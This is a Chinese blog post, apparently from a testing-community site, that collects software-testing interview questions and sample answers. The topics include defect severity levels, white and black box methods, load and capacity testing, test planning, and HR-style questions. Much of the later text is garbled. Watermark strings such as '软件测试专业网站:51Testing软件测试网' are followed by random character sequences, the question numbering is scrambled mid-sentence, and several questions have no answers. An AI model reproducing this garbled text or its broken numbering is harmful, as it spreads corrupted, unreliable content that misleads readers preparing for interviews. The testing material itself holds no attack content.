    阶段评审时间: 通常是设置在关键路径的时间点上!


    2.什么是软件测试

    为了发现程序中的错误而执行程序的过程


    3简述集成测试的过程

    系统集成测试主要包括以下过程:

    1. 构建的确认过程。

    2. 补丁的确认过程。

    3. 系统集成测试测试组提交过程。

    4. 测试用例设计过程。

    5. 测试代码编写过程。

    6. Bug的报告过程。

    7. 每周/每两周的构建过程。

    8. 点对点的测试过程。

    9. 组内培训过程。


    4 怎么做好文档测试

    仔细阅读,跟随每个步骤,检查每个图形,尝试每个示例。P142

    检查文档的编写是否满足文档编写的目的

    内容是否齐全,正确

    内容是否完善

    标记是否正确



    5 白盒测试有几种方法

    总体上分为静态方法和动态方法两大类。

    静态:关键功能是检查软件的表示和描述是否一致,没有冲突或者没有歧义

    动态:语句覆盖、判定覆盖、条件覆盖、判定条件覆盖、条件组合覆盖、路径覆盖。


    6系统测试计划是否需要同行审批,为什么

    需要,系统测试计划属于项目阶段性关键文档,因此需要评审。


    7Alpha测试与beta的区别

    Alpha测试 在系统开发接近完成时对应用系统的测试;测试后仍然会有少量的设计变更。这种测试一般由最终用户或其它人员完成,不能由程序或测试员完成。


    Beta测试 当开发和测试根本完成时所做的测试,最终的错误和问题需要在最终发行前找到。这种测试一般由最终用户或其它人员完成,不能由程序员或测试员完成。


    8比较负载测试,容量测试和强度测试的区别

    负载测试:在一定的工作负荷下,系统的负荷及响应时间。

    强度测试:在一定的负荷条件下,在较长时间跨度内的系统连续运行给系统性能所造成的影响。

    容量测试:容量测试目的是通过测试预先分 析出反映软件系统应用特征的某项指标的极限值(如最大并发用户数、数据库记录数等),系统在其极限值状态下没有出现任何软件故障或还能保持主要功能正常运行。容量测试还将确定测试对象在给定时间内能够持续处理的最大负载或工作量。容量测试的目的是使系统承受超额的数据容量来发现它是否能够正确处理。容量测试是面向数据的,并且它的目的是显示系统可以处理目标内确定的数据容量。


    9测试结束的标准是什么?

    用例全部测试。
    覆盖率达到标准。
    缺陷率达到标准。
    其他指标达到质量标准


    10描述软件测试活动的生命周期?

    测试周期分为计划、设计、实现、执行、总结。其中:

    计划:对整个测试周期中所有活动进行规划,估计工作量、风险,安排人力物力资源,安排进度等;
    设计:完成测试方案,从技术层面上对测试进行规划;
    实现:进行测试用例和测试规程设计;
    执行:根据前期完成的计划、方案、用例、规程等文档,执行测试用例。

    总结:记录测试结果,进行测试分析,完成测试报告。


    11软件的缺陷等级应如何划分?

    A类—严重错误,包括以下各种错误: 1. 由于程序所引起的死机,非法退出 2. 死循环 3. 数据库发生死锁 4. 因错误操作导致的程序中断 5. 功能错误 6. 与数据库连接错误 7. 数据通讯错误


    B类—较严重错误,包括以下各种错误: 1. 程序错误 2. 程序接口错误 3. 数据库的表、业务规则、缺省值未加完整性等约束条件

    C类—一般性错误,包括以下各种错误: 1. 操作界面错误(包括数据窗口内列名定义、含义是否一致) 2. 打印内容、格式错误 3. 简单的输入限制未放在前台进行控制 4. 删除操作未给出提示 5. 数据库表中有过多的空字段

    D类—较小错误,包括以下各种错误: 1. 界面不规范 2. 辅助说明描述不清楚 3. 输入输出不规范 4. 长操作未给用户提示 5. 提示窗口文字未采用行业术语 6. 可输入区域和只读区域没有明显的区分标志


    E类—测试建议

    大体是这样,还会有一些变动,同时最后一道题出的是画流程图和控制图的题,等腰三角形那个,好了,仅供参考

  • 面试

    ahbtest 发布于 2008-05-28 14:36:13

     

    面试题目:软件测试专业网站:51Testing软件测试网W:gdo:o
    01. 为什么要在一个团队中开展软件测试工作
    u x X&Lcf'Y136894因为没有经过测试的软件很难在发布之前知道该软件的质量,就好比ISO质量认证一样,测试同样也需要质量的保证,这个时候就需要在团队中开展软件测试的工作。在测试的过程发现软件中存在的问题,及时让开发人员得知并修改问题,在即将发布时,从测试报告中得出软件的质量情况。
    CG)P:d-g:L4U13689402. 您在以往的测试工作中都曾经具体从事过哪些工作?其中最擅长哪部分工作?软件测试专业网站:51Testing软件测试网 h DQ-_ Zk
    我曾经做过web测试,后台测试,客户端软件,其中包括功能测试性能测试,用户体验测试。最擅长的是功能测试
    G'g6k TC {Z#I"A13689403. 您所熟悉的软件测试类型都有哪些?请试着分别比较这些不同04. 的测试类型的区别与联系(如功能测试、性能测试……)
    I]xk'e](q7p"et136894测试类型有:功能测试,性能测试,界面测试。
    L ]^e3G Ii136894功能测试在测试工作中占的比例最大,功能测试也叫黑盒测试。是把测试对象看作一个黑盒子。利用黑盒测试法进行动态测试时,需要测试软件产品的功能,不需测试软件产品的内部结构和处理过程。采用黑盒技术设计测试用例的方法有:等价类划分、边界值分析、错误推测、因果图和综合策略。 软件测试专业网站:51Testing软件测试网,B:Pp Sd X'b9u
    性能测试是通过自动化测试工具模拟多种正常、峰值以及异常负载条件来对系统的各项性能指标进行测试。负载测试和压力测试都属于性能测试,两者可以结合进行。通过负载测试,确定在各种工作负载下系统的性能,目标是测试当负载逐渐增加时,系统各项性能指标的变化情况。压力测试是通过确定一个系统的瓶颈或者不能接收的性能点,来获得系统能提供的最大服务级别的测试。软件测试专业网站:51Testing软件测试网}.Q3G@-i0{{Y F
    界面测试,界面是软件与用户交互的最直接的层,界面的好坏决定用户对软件的第一印象。而且设计良好的界面能够引导用户自己完成相应的操作,起到向导的作用。同时界面如同人的面孔,具有吸引用户的直接优势。设计合理的界面能给用户带来轻松愉悦的感受和成功的感觉,相反由于界面设计的失败,让用户有挫败感,再实用强大的功能都可能在用户的畏惧与放弃中付诸东流。
    ,QD-R H$d136894区别在于,功能测试关注产品的所有功能上,要考虑到每个细节功能,每个可能存在的功能问题。性能测试主要关注于产品整体的多用户并发下的稳定性和健壮性。界面测试更关注于用户体验上,用户使用该产品的时候是否易用,是否易懂,是否规范(快捷键之类的),是否美观(能否吸引用户的注意力),是否安全(尽量在前台避免用户无意输入无效的数据,当然考虑到体验性,不能太粗鲁的弹出警告)?做某个性能测试的时候,首先它可能是个功能点,首先要保证它的功能是没问题的,然后再考虑该功能点的性能测试
    QY Y&l |.}cn13689405.  请试着比较一下黑盒测试、白盒测试单元测试、集成测试、系统测试、验收测试的区别与联系。
    D^G n*~"a2~'J(c136894黑盒测试:已知产品的功能设计规格,可以进行测试证明每个实现了的功能是否符合要求。
    NR;|Z2S*p-WcR136894白盒测试:已知产品的内部工作过程,可以通过测试证明每种内部操作是否符合设计规格要求,所有内部成分是否以经过检查。
    C8N6]-A7Cu&{136894  软件的黑盒测试意味着测试要在软件的接口处进行。这种方法是把测试对象看做一个黑盒子,测试人员完全不考虑程序内部的逻辑结构和内部特性,只依据程序的需求规格说明书,检查程序的功能是否符合它的功能说明。因此黑盒测试又叫功能测试或数据驱动测试。黑盒测试主要是为了发现以下几类错误:软件测试专业网站:51Testing软件测试网K\r!i*O m*~K+q9|
    1、是否有不正确或遗漏的功能?
    9c,NR8nn1368942、在接口上,输入是否能正确的接受?能否输出正确的结果?
    b&z[]^t h1368943、是否有数据结构错误或外部信息(例如数据文件)访问错误?
    0eXSd'`,i"z4@Z1368944、性能上是否能够满足要求?软件测试专业网站:51Testing软件测试网`"N]4g4E+G s;V5]\se
    5、是否有初始化或终止性错误?软件测试专业网站:51Testing软件测试网m:~c/WI \
      软件的白盒测试是对软件的过程性细节做细致的检查。这种方法是把测试对象看做一个打开的盒子,它允许测试人员利用程序内部的逻辑结构及有关信息,设计或选择测试用例,对程序所有逻辑路径进行测试。通过在不同点检查程序状态,确定实际状态是否与预期的状态一致。因此白盒测试又称为结构测试或逻辑驱动测试。白盒测试主要是想对程序模块进行如下检查:
    {]J-fc%v b1368941、对程序模块的所有独立的执行路径至少测试一遍。软件测试专业网站:51Testing软件测试网9^ur+KD.n x
    2、对所有的逻辑判定,取“真”与取“假”的两种情况都能至少测一遍。软件测试专业网站:51Testing软件测试网`!j&AN)M
    3、在循环的边界和运行的界限内执行循环体。
    6A)S0`0K9WTf1368944、测试内部数据结构的有效性,等等。软件测试专业网站:51Testing软件测试网n/|)V|5r&YRn2e`6U
    单元测试(模块测试)是开发者编写的一小段代码,用于检验被测代码的一个很小的、很明确的功能是否正确。通常而言,一个单元测试是用于判断某个特定条件(或者场景)下某个特定函数的行为。
    9y8u;?E5?)D136894      单元测试是由程序员自己来完成,最终受益的也是程序员自己。可以这么说,程序员有责任编写功能代码,同时也就有责任为自己的代码编写单元测试。执行单元测试,就是为了证明这段代码的行为和我们期望的一致。
    X6r8]6a%Cb136894集成测试(也叫组装测试,联合测试)是单元测试的逻辑扩展。它的最简单的形式是:两个已经测试过的单元组合成一个组件,并且测试它们之间的接口。从这一层意义上讲,组件是指多个单元的集成聚合。在现实方案中,许多单元组合成组件,而这些组件又聚合成程序的更大部分。方法是测试片段的组合,并最终扩展进程,将您的模块与其他组的模块一起测试。最后,将构成进程的所有模块一起测试。
    o Lk&RO m136894系统测试是将经过测试的子系统装配成一个完整系统来测试。它是检验系统是否确实能提供系统方案说明书中指定功能的有效方法。(常见的联调测试)软件测试专业网站:51Testing软件测试网 {!l2J#j C#gdI Y
           系统测试的目的是对最终软件系统进行全面的测试,确保最终软件系统满足产品需求并且遵循系统设计。软件测试专业网站:51Testing软件测试网&avk} \5{ a%J7f
    验收测试是部署软件之前的最后一个测试操作。验收测试的目的是确保软件准备就绪,并且可以让最终用户将其用于执行软件的既定功能和任务。软件测试专业网站:51Testing软件测试网l&K+F6Tb,C pX
    验收测试是向未来的用户表明系统能够像预定要求那样工作。经集成测试后,已经按照设计把所有的模块组装成一个完整的软件系统,接口错误也已经基本排除了,接着就应该进一步验证软件的有效性,这就是验收测试的任务,即软件的功能和性能如同用户所合理期待的那样。
    %TL.lX"KI{13689406. 测试计划工作的目的是什么?测试计划工作的内容都包括什么?其中哪些是最重要的?
    +d&|,oZ,H+OO`"m136894软件测试计划是指导测试过程的纲领性文件,包含了产品概述、测试策略、测试方法、测试区域、测试配置、测试周期、测试资源、测试交流、风险分析等内容。借助软件测试计划,参与测试的项目成员,尤其是测试管理人员,可以明确测试任务和测试方法,保持测试实施过程的顺畅沟通,跟踪和控制测试进度,应对测试过程中的各种变更。软件测试专业网站:51Testing软件测试网 J:v/{7a Y.Ul
    测试计划和测试详细规格、测试用例之间是战略和战术的关系,测试计划主要从宏观上规划测试活动的范围、方法和资源配置,而测试详细规格、测试用例是完成测试任务的具体战术。所以其中最重要的是测试测试策略和测试方法(最好是能先评审)软件测试专业网站:51Testing软件测试网s;C*zD pj9S }cE
    07. 您认为做好测试计划工作的关键是什么?软件测试专业网站:51Testing软件测试网f(a _!Mt}1^)J
    1. 明确测试的目标,增强测试计划的实用性软件测试专业网站:51Testing软件测试网#C"nv N ] L
    编写软件测试计划得重要目的就是使测试过程能够发现更多的软件缺陷,因此软件测试计划的价值取决于它对帮助管理测试项目,并且找出软件潜在的缺陷。因此,软件测试计划中的测试范围必须高度覆盖功能需求,测试方法必须切实可行,测试工具并且具有较高的实用性,便于使用,生成的测试结果直观、准确
    N+z%wB!h9q;?tY1368942.坚持“5W”规则,明确内容与过程
    &Z({/~l7K[136894“5W”规则指的是“What(做什么)”、“Why(为什么做)”、“When(何时做)”、“Where(在哪里)”、“How(如何做)”。利用“5W”规则创建软件测试计划,可以帮助测试团队理解测试的目的(Why),明确测试的范围和内容(What),确定测试的开始和结束日期(When),指出测试的方法和工具(How),给出测试文档和软件的存放位置(Where)。软件测试专业网站:51Testing软件测试网2\A1?+T$\8A6\'iLCZd
    3.采用评审和更新机制,保证测试计划满足实际需求
    :ln([#?q3I136894测试计划写作完成后,如果没有经过评审,直接发送给测试团队,测试计划内容的可能不准确或遗漏测试内容,或者软件需求变更引起测试范围的增减,而测试计划的内容没有及时更新,误导测试执行人员。
    qSX:r}+}.wz*u1368944. 分别创建测试计划与测试详细规格、测试用例
    :]*{-I x mLO136894应把详细的测试技术指标包含到独立创建的测试详细规格文档,把用于指导测试小组执行测试过程的测试用例放到独立创建的测试用例文档或测试用例管理数据库中。测试计划和测试详细规格、测试用例之间是战略和战术的关系,测试计划主要从宏观上规划测试活动的范围、方法和资源配置,而测试详细规格、测试用例是完成测试任务的具体战术。 软件测试专业网站:51Testing软件测试网3xF ?+e%@.o~%Q~yW
    08. 您所熟悉的测试用例设计方法都有哪些?请分别以具体的例子来说明这些方法在测试用例设计工作中的应用。软件测试专业网站:51Testing软件测试网0P)^|-RS$C^
    1.等价类划分
    ,V n#f(oPM136894划分等价类: 等价类是指某个输入域的子集合.在该子集合中,各个输入数据对于揭露程序中的错误都是等效的.并合理地假定:测试某等价类的代表值就等于对这一类其它值的测试.因此,可以把全部输入数据合理划分为若干等价类,在每一个等价类中取一个数据作为测试的输入条件,就可以用少量代表性的测试数据.取得较好的测试结果.等价类划分可有两种不同的情况:有效等价类和无效等价类.
    t8H;B`9W4S1368942.边界值分析法软件测试专业网站:51Testing软件测试网c'dM C _)y
      边界值分析方法是对等价类划分方法的补充。测试工作经验告诉我,大量的错误是发生在输入或输出范围的边界上,而不是发生在输入输出范围的内部.因此针对各种边界情况设计测试用例,可以查出更多的错误.软件测试专业网站:51Testing软件测试网8j R!NC+[
      使用边界值分析方法设计测试用例,首先应确定边界情况.通常输入和输出等价类的边界,就是应着重测试的边界情况.应当选取正好等于,刚刚大于或刚刚小于边界的值作为测试数据,而不是选取等价类中的典型值或任意值作为测试数据.软件测试专业网站:51Testing软件测试网;K|,|yHI)SB"l
    3.错误推测法软件测试专业网站:51Testing软件测试网L!L:Z QR V9V
      基于经验和直觉推测程序中所有可能存在的各种错误, 从而有针对性的设计测试用例的方法.软件测试专业网站:51Testing软件测试网z I{BuE
      错误推测方法的基本思想: 列举出程序中所有可能有的错误和容易发生错误的特殊情况,根据他们选择测试用例. 例如, 在单元测试时曾列出的许多在模块中常见的错误. 以前产品测试中曾经发现的错误等, 这些就是经验的总结. 还有, 输入数据和输出数据为0的情况. 输入表格为空格或输入表格只有一行. 这些都是容易发生错误的情况. 可选择这些情况下的例子作为测试用例.软件测试专业网站:51Testing软件测试网:PZj3b;s/H*W/MS
    4.因果图方法
    ;z:F@Vm%V"[N136894  前面介绍的等价类划分方法和边界值分析方法,都是着重考虑输入条件,但未考虑输入条件之间的联系, 相互组合等. 考虑输入条件之间的相互组合,可能会产生一些新的情况. 但要检查输入条件的组合不是一件容易的事情, 即使把所有输入条件划分成等价类,他们之间的组合情况也相当多. 因此必须考虑采用一种适合于描述对于多种条件的组合,相应产生多个动作的形式来考虑设计测试用例. 这就需要利用因果图(逻辑模型). 因果图方法最终生成的就是判定表. 它适合于检查程序输入条件的各种组合情况. 软件测试专业网站:51Testing软件测试网(@5hV(_&R+bK[ ]
    08.您认为做好测试用例设计工作的关键是什么?
    h5M:~)~w/k.K$f136894白盒测试用例设计的关键是以较少的用例覆盖尽可能多的内部程序逻辑结果软件测试专业网站:51Testing软件测试网Pv S0U r-}&q%wU
    黑盒法用例设计的关键同样也是以较少的用例覆盖模块输出和输入接口。不可能做到完全测试,以最少的用例在合理的时间内发现最多的问题软件测试专业网站:51Testing软件测试网kMg]Y#n
    09. 请以您以往的实际工作为例,10. 详细的描述一次测试用例设计的完整的过程。软件测试专业网站:51Testing软件测试网8|X1d&D;e ^DU
    就说最近的这次网站功能的测试吧
    8~.B1{,gM3]+Pl136894首先:得到相关文档(需求文档和设计文档),理解需求和设计设计思想后,想好测试策略(测试计划简单点就OK了),考虑到测试环境,测试用例,测试时间等问题。
    t$C N-Hq,\g*i136894第二步:设计测试用例,测试策略是:把网站部分的功能点测试完,然后在进行系统测试(另外个模块呢有另一个测试人员负责,可以进行联调测试),网站模块的测试基本是功能测试和界面测试(用户并发的可能性很小,所以不考虑):这次的网站的输入数据呢是使用数据库中的某张表记录,如果表中某一数据记录中新加进来的(还没有被处理的,有个标志位),网站启动后会立刻去刷那张表,得到多条数据,然后在进行处理。处理过程中,会经历3个步骤,网站才算完成了它的任务。有3个步骤呢,就可以分别对这3个步骤进行测试用例的设计,尽量覆盖到各种输入情况(包括数据库中的数据,用户的输入等),得出了差不多50个用例。界面测试,也就是用户看的到的地方,包括发送的邮件和用户填写资料的页面展示。软件测试专业网站:51Testing软件测试网h8Y7ihz0X)~%v
    第三步:搭建测试环境(为什么这个时候考虑测试环境呢?因为我对网站环境已经很熟了,只有有机器能空于下来做该功能测试就可以做了),因为网站本身的环境搭建和其他的系统有点不同,它需要的测试环境比较麻烦,需要web服务器(Apache,tomcat),不过这次需求呢,网站部分只用到了tomcat,所以只要有tomcat即可
    UeI:[4r3wb cZ)r136894第四步:执行测试
    YzM;j~~LE13689411. 您以往是否曾经从事过性能测试工作?如果有,12. 请尽可能的详细描述您以往的性能测试工作的完整过程。
    i N/KZY ?!{136894是的,曾经做过网站方面的性能测试,虽然做的时间并不久(2个月吧),当时呢,是有位网站性能测试经验非常丰富的前辈带着我一起做。软件测试专业网站:51Testing软件测试网;e(G5^ @ KM9M|
    性能测试类型包括负载测试,强度测试,容量测试等软件测试专业网站:51Testing软件测试网7@],P&[6~LFJ
          负载测试:负载测试是一种性能测试指数据在超负荷环境中运行,程序是否能够承担。软件测试专业网站:51Testing软件测试网t8b0@{1Z W Y%[
          强度测试: 强度测试是一种性能测试,他在系统资源特别低的情况下软件系统运行情况。软件测试专业网站:51Testing软件测试网"C}0` z+bxr0L&^;{5c
          容量测试:确定系统可处理同时在线的最大用户数   软件测试专业网站:51Testing软件测试网'^'o&h(Yb]
    在网站流量逐渐加大的情况下,开始考虑做性能测试了,首先要写好性能测试计划,根据运营数据得出流量最大的页面(如果是第一次的话,一般是首页,下载页,个人帐户页流量最大,而且以某种百分比),软件测试专业网站:51Testing软件测试网:}uG9P?9s;wx\%F L
    Web服务器指标指标:软件测试专业网站:51Testing软件测试网I,Hio2Ffjmf
    * Avg Rps: 平均每秒钟响应次数=总请求时间 / 秒数;
    ]2I;}F2b{136894* Successful Rounds:成功的请求;
    (I8s0hN|136894* Failed Rounds :失败的请求; 软件测试专业网站:51Testing软件测试网]9Qj8E {"mvI5_ A
    * Successful Hits :成功的点击次数; 软件测试专业网站:51Testing软件测试网U*^h!ew v,@~
    * Failed Hits :失败的点击次数; 软件测试专业网站:51Testing软件测试网1D/Q~ i(pi#u5T
    * Hits Per Second :每秒点击次数;
    F(B h`/D/cOU136894* Successful Hits Per Second :每秒成功的点击次数; 软件测试专业网站:51Testing软件测试网&Z:F2wZ4]+i0QR;^
    * Failed Hits Per Second :每秒失败的点击次数; 软件测试专业网站:51Testing软件测试网~8T2A"ZL
    * Attempted Connections :尝试链接数;

    13. 您在从事性能测试工作时,14. 是否使用过一些测试工具?如果有,15. 请试述该工具的工作原理,16. 并以一个具体的工作中的例子描述该工具是如何在实际工作中应用的。软件测试专业网站:51Testing软件测试网pm[&x6M
    17. 您认为性能测试工作的目的是什么?做好性能测试工作的关键是什么?
    :d7Q)TFL H4{$m13689418. 在您以往的工作中,19. 一条软件缺陷(或者叫Bug)记录都包含了哪些内容?如何提交高质量的软件缺陷(Bug)记录?
    V @ b0v(\ K a'K13689420. 您以往所从事的软件测试工作中,21. 是否使用了一些工具来进行软件缺陷(Bug)的管理?如果有,22. 请结合该工具描述软件缺陷(Bug)跟踪管理的流程。
    &N'VW9xz-s"E13689423. 您认为在测试人员同24. 开发人员的沟通过程中,25. 如何提高沟通的效率和改善沟通的效果?维持测试人员同26. 开发团队中其他成员良好的人际关系的关键是什么?
    uF+?"iv-Pj5W6u13689427. 在您以往的测试工作中,28. 最让您感到不29. 满意或者不30. 堪回首的事情是什么?您是如何来对待这些事情的?
    7|OL;vl,Y4Bd13689431. 在即将完成这次笔试前,32. 您是否愿意谈一些自己在以往的学习和工作中获得的工作经验和心得体会?(可以包括软件测试、过程改进、软件开发或者与此无关的其他方面)软件测试专业网站:51Testing软件测试网(L4HlGga+Psv6f
    33.     你对测试最大的兴趣在哪里?为什么?
    '}6]Q0d'j-a?h136894最大的兴趣就是测试有难度,有挑战性!做测试越久越能感觉到做好测试有多难。曾经在无忧测试网上看到一篇文章,是关于如何做好一名测试工程师。一共罗列了11,12点,有部分是和人的性格有关,有部分需要后天的努力。但除了性格有关的1,2点我没有把握,其他点我都很有信心做好它。软件测试专业网站:51Testing软件测试网(H'Q G}8bc&qn!t
    刚开始进入测试行业时,对测试的认识是从无忧测试网上了解到的一些资料,当时是冲着做测试需要很多技能才能做的好,虽然入门容易,但做好很难,比开发更难,虽然当时我很想做开发(学校专业课我基本上不缺席,因为我喜欢我的专业),但看到测试比开发更难更有挑战性,想做好测试的意志就更坚定了。
    h8@-H3?g.s];O0O136894不到一年半的测试工作中,当时的感动和热情没有减退一点(即使环境问题以及自身经验,技术的不足,做测试的你一定也能理解)。
    :q*g(P^-li5nIZp136894我觉得做测试整个过程中有2点让我觉得很有难度(对我来说,有难度的东西我就非常感兴趣),第一是测试用例的设计,因为测试的精华就在测试用例的设计上了,要在版本出来之前,把用例写好,用什么测试方法写?(也就是测试计划或测试策略),如果你刚测试一个新任务时,你得花一定的时间去消化业务需求和技术基础,业务需求很好理解(多和产品经理和开发人员沟通就能达到目的),而技术基础可就没那么简单了,这需要你自觉的学习能力,比如说网站吧,最基本的技术知识你要知道网站内部是怎么运作的的,后台是怎么响应用户请求的?测试环境如何搭建?这些都需要最早的学好。至少在开始测试之前能做好基本的准备,可能会遇到什么难题?需求细节是不是没有确定好?这些问题都能在设计用例的时候发现。软件测试专业网站:51Testing软件测试网|+z+["?"Z3l?d]F
    第二是发现BUG的时候了,这应该是测试人员最基本的任务了,一般按测试用例开始测试就能发现大部分的bug,还有一部分bug需要测试的过程中更了解所测版本的情况获得更多信息,补充测试用例,测试出bug。还有如何发现bug?这就需要在测试用例有效的情况下,通过细心和耐心去发现bug了,每个用例都有可能发现bug,每个地方都有可能出错,所以测试过程中思维要清晰(测试过程数据流及结果都得看仔细了,bug都在里面发现的)。如何描述bug也很有讲究,bug在什么情况下会产生,如果条件变化一点点,就不会有这个bug,以哪些最少的操作步骤就能重现这个bug,这个bug产生的规律是什么?如果你够厉害的话,可以帮开发人员初步定位问题。
    v4W`*kd+U~etb*D13689434. 你的测试职业发展是什么?
    FK8J&Ui_136894测试经验越多,测试能力越高。所以我的职业发展是需要时间累积的,一步步向着高级测试工程师奔去。而且我也有初步的职业规划,前3年累积测试经验,按如何做好测试工程师的11,12点要求自己,不断的更新自己改正自己,做好测试任务。
    6vW5['sb13689435. 你自认为测试的优势在哪里?
    J-XJ})v J4t%qmX136894优势在于我对测试坚定不移的信心和热情,虽然经验还不够,但测试需要的基本技能我有信心在工作中得以发挥。软件测试专业网站:51Testing软件测试网!NX]-h.o;HE:B@0{
    36. 你以前工作时的测试流程是什么?
    6O @|'sBt*f-n'v6d136894公司对测试流程没有规定如何做,但每个测试人员都有自己的一套测试流程。我说下我1年来不断改正(自己总结,吸取同行的方法)后的流程吧。需求评审(有开发人员,产品经理,测试人员,项目经理)->需求确定(出一份确定的需求文档)->开发设计文档(开发人员在开始写代码前就能输出设计文档)->想好测试策略,写出测试用例->发给开发人员和测试经理看看(非正式的评审用例)->接到测试版本->执行测试用例(中间可能会补充用例)->提交bug(有些bug需要开发人员的确定(严重级别的,或突然发现的在测试用例范围之外的,难以重现的),有些可以直接录制进TD)->开发人员修改(可以在测试过程中快速的修改)->回归测试(可能又会发现新问题,再按流程开始跑)。
    s;j[Y){.uuJ"{13689437. 当开发人员说不38. 是BUG时,39. 你如何应付?软件测试专业网站:51Testing软件测试网1O7~j z3k
    开发人员说不是bug,有2种情况,一是需求没有确定,所以我可以这么做,这个时候可以找来产品经理进行确认,需不需要改动,3方商量确定好后再看要不要改。二是这种情况不可能发生,所以不需要修改,这个时候,我可以先尽可能的说出是BUG的依据是什么?如果被用户发现或出了问题,会有什么不良结果?程序员可能会给你很多理由,你可以对他的解释进行反驳。如果还是不行,那我可以给这个问题提出来,跟开发经理和测试经理进行确认,如果要修改就改,如果不要修改就不改。其实有些真的不是bug,我也只是建议的方式写进TD中,如果开发人员不修改也没有大问题。如果确定是bug的话,一定要坚持自己的立场,让问题得到最后的确认。
    H^q.BS[`p13689423.你为什么想离开目前的职务?
    iC_8Nq8eHh? v136894因为公司运作情况并不理想,公司需要调整部门体系,公司考虑到缩减部门人员,所以大批量的裁员(有6,7个),这是我的第一份工作,对公司也有较深的感情,因为在这里我找到了职业理想(就是测试),所以公司需要精简人员,我自愿退出。虽然很舍不得,但我将会有新的发挥能力的舞台。
    8R io!L4v136894  24:你对我们公司了解有多少?

      25:你找工作时,最重要的考虑因素为何?软件测试专业网站:51Testing软件测试网/O,] LW7G'})t
    工作的性质和内容是否能让我发挥所长,并不断成长。
    sK#v"s v"V AJ ua13689426:为什么我们应该录取你?
    VJQc fKB"d:[*J136894您可以由我过去的工作表现所呈现的客观数据,明显地看出我全力以赴的工作态度。软件测试专业网站:51Testing软件测试网1~jn)l7nvU|
      27:请谈谈你个人的最大特色。软件测试专业网站:51Testing软件测试网lW@.wHe _
    我的坚持度很高,事情没有做到一个令人满意的结果,绝不罢手。软件测试专业网站:51Testing软件测试网#X8h9rV ~P4N`Ms
    28.白箱测试和黑箱测试是什么?什么是回归测试?
    5E9H)d+[G/Ejb136894    29。单元测试、集成测试、系统测试的侧重点是什么?软件测试专业网站:51Testing软件测试网B] I0O0su P5i D ~
        30。设计用例的方法、依据有那些?软件测试专业网站:51Testing软件测试网-j7W D)FgU7j^1b6w
        31。一个测试工程师应具备那些素质和技能?
    u/gT#Bl4k'J136894    32.集成测试通常都有那些策略?
    YTGa0wqw&F m0E136894    33.你用过的测试工具的主要功能、性能及其他?软件测试专业网站:51Testing软件测试网y:Y4a-@t s
        34.一个缺陷测试报告的组成
    { [Qx tD%@]4bz1_136894    35.基于WEB信息管理系统测试时应考虑的因素有哪些?
    m(j!F-_s#L/Q0Y^13689436.软件测试项目从什么时候开始,?为什么?
    #@ \s4w-O7K.I h136894     37.需求测试注意事项有哪些?软件测试专业网站:51Testing软件测试网(^1Ib!@(?7D
         38.简述一下缺陷的生命周期
    +eS7]u|~#X1S136894     39.测试分析测试用例注意(事项)?软件测试专业网站:51Testing软件测试网1?^b X9[#V l]
    你在你所在的公司是怎么开展测试工作的?是如何组织的?软件测试专业网站:51Testing软件测试网U7R,M UBv-e
    你认为理想的测试流程是什么样子?
    3V5C.\#]*R {136894你是怎样工作的?软件测试专业网站:51Testing软件测试网*vH(B"n2ORP
    软件测试活动的生命周期是什么?软件测试专业网站:51Testing软件测试网 X)d'lqN'i X!KT
    请画出软件测试活动的流程图?
    Wb'^*y7yvh136894针对缺陷采取怎样管理措施?软件测试专业网站:51Testing软件测试网]1u6AJ II5?
    什么是测试评估?测试评估的范围是什么?软件测试专业网站:51Testing软件测试网R-ad2a}6q V&Y^
    如果能够执行完美的黑盒测试,还需要进行白盒测试吗?为什么?软件测试专业网站:51Testing软件测试网3i9Uk'J l#W
    测试结束的标准是什么?软件测试专业网站:51Testing软件测试网/R/B/q'c3fy'vsn)u(T
    软件验收测试除了alpha,beta测试以外,还有哪一种?
    3?h;A^9uCa;uVy136894做测试多久了?软件测试专业网站:51Testing软件测试网 F+}-T6q)Y]X
    以前做过哪些项目?
    $J(f*ALq4bk136894你们以前测试的流程是怎样的?软件测试专业网站:51Testing软件测试网0}sq1?*X7Y y
    <答:测试计划-测试用例设计-测试执行-测试分析报告>软件测试专业网站:51Testing软件测试网7Ie s9oo[O
    用过哪些测试工具?
    *@u7Ht-Tmbjo136894为什么选择测试这行?软件测试专业网站:51Testing软件测试网3k:d'v@s2a[X
    <答:它是一个新兴的行业,有发展潜力,而且很锻炼人,需要掌握更多的技能,比做开发要更难>软件测试专业网站:51Testing软件测试网 w_~Lt
    为什么值得他们公司雇用?软件测试专业网站:51Testing软件测试网 G3@3L TM7n
    如果我雇用你,你能给部门带来什么贡献?软件测试专业网站:51Testing软件测试网B{g[Du'j7S9J
    如何从工作中看出你是个自动自觉的人软件测试专业网站:51Testing软件测试网"l~k:B1\eL"|J$|
    你的工作通常能在时限内完成吗.(我想问一下就是她问这个问题的动机是什么)
    ']GCp,_)u/M136894通常你对于别人批评你会有什么样的反应软件测试专业网站:51Testing软件测试网8Iq%|#R iJ0y d)p
    如果明知这样做不对,你还会依主管的指过去做吗软件测试专业网站:51Testing软件测试网Yq~7i[p C
    如果你接到一个客户抱怨的电话,你确知无法解决他的问题,你会怎么处理软件测试专业网站:51Testing软件测试网e^;Sobhtn `Up
    你觉得什么样的人最难相处
    *C6fF\ p K[8I136894为什么值得他们公司雇用?
    [e0aBlZ3k136894      帮助公司提高软件质量和测试部门的技术水平软件测试专业网站:51Testing软件测试网/P9c{'{smh
    如果我雇用你,你能给部门带来什么贡献?
    OtC`L |;_"baN{136894      分享我的测试经验和测试技能,提高测试部门技术水平软件测试专业网站:51Testing软件测试网bp1x"x5r:Q4{ T"Sp
    如何从工作中看出你是个自动自觉的人 软件测试专业网站:51Testing软件测试网Tr hY9E l
         自动自觉范围太广
    I7f6` ky136894      1. 工作成果软件测试专业网站:51Testing软件测试网"~S/Xx9~
          2. 工作质量  
    ,\bzPg H136894你的工作通常能在时限内完成吗.(我想问一下就是她问这个问题的动机是什么)软件测试专业网站:51Testing软件测试网2Q,[f1?.V
          在有足够的资源和合理的工作量的情况下,完全可以按时完成,并能比一般人做的更好软件测试专业网站:51Testing软件测试网DHA b!P(E&] r O
    通常你对于别人批评你会有什么样的反应
    6i1}`*iQ136894  有错即改,无措勉之软件测试专业网站:51Testing软件测试网-m`)Y iH5X
    如果明知这样做不对,你还会依主管的指过去做吗软件测试专业网站:51Testing软件测试网2S rAk*EJ~
         在公司内部下级是否有申诉渠道?软件测试专业网站:51Testing软件测试网&ft5F M,C uQb1V
    如果你接到一个客户抱怨的电话,你确知无法解决他的问题,你会怎么处理软件测试专业网站:51Testing软件测试网5e!qd6g%u z
